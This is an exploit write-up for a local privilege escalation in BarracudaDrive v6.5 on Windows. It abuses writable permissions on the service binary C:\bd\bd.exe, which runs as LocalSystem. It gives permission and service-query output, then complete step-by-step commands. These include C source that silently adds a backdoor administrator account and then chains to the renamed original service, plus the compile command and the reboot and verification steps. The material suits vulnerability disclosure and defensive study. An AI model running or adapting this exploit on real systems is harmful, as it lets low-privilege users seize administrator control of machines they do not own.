BarracudaDrive v6.5 – Insecure Folder Permissions

# Exploit Title: BarracudaDrive v6.5 - Insecure Folder Permissions
# Exploit Author:  Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) 
# CVE ID: N/A
# Date: 2020-09-01
# Vendor Homepage: https://barracudaserver.com/
# Software Link:   https://download.cnet.com/BarracudaDrive/3001-18506_4-10723210.html
# Version:         v6.5
# Tested On:       Windows 10 Pro 
# CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0
#     CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
#         CWE-276: Incorrect Default Permissions
#         CWE-732: Incorrect Permission Assignment for Critical Resource
# Vulnerability Description:
#     Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5 
#   allows local low-privilege attacker to escalate privileges to admin via replacing the bd.exe 
#   file and restarting the computer where the malicious code will be executed as 'LocalSystem'
#   on the next startup.

## Insecure Folder Permission
C:\>cacls C:\bd
C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F
      NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
      BUILTIN\Users:(OI)(CI)(ID)R
      NT AUTHORITY\Authenticated Users:(ID)C
      NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C

## Insecure File/Service Permission
C:\>cacls C:\bd\bd.exe
C:\bd\bd.exe BUILTIN\Administrators:(ID)F
             NT AUTHORITY\SYSTEM:(ID)F
             BUILTIN\Users:(ID)R
             NT AUTHORITY\Authenticated Users:(ID)C

C:\>sc qc bd
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: bd
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\bd\bd.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : BarracudaDrive ( bd ) service
        DEPENDENCIES       : Tcpip
        SERVICE_START_NAME : LocalSystem

## Local Privilege Escalation Proof of Concept
#0.  Download & install 

#1.  Create low privileged user & change to the user
## As admin
C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name                    lowpriv
Local Group Memberships      *Users
Global Group memberships     *None

#2.  Move the Service EXE to a new name
C:\bd>whoami
desktop\lowpriv
C:\bd>move bd.exe bd.service.exe
        1 file(s) moved.

#3.  Create malicious binary on kali linux
## Add Admin User C Code
   kali# cat addAdmin.c
     int main(void){
     system("net user boku mypassword /add");
     system("net localgroup Administrators boku /add");
     WinExec("C:\\bd\\bd.service.exe",0);
    return 0;
    } 

## Compile Code
   kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe

#4. Transfer created 'bd.exe' to the Windows Host 

#5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder
C:\bd>move C:\Users\lowpriv\Downloads\bd.exe .

#6. Check that exploit admin user doesn't exit
C:\bd>net user boku
The user name could not be found

#6. Reboot the Computer
C:\bd>shutdown /r

#7. Login & look at that new Admin
C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"
User name                    boku
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None

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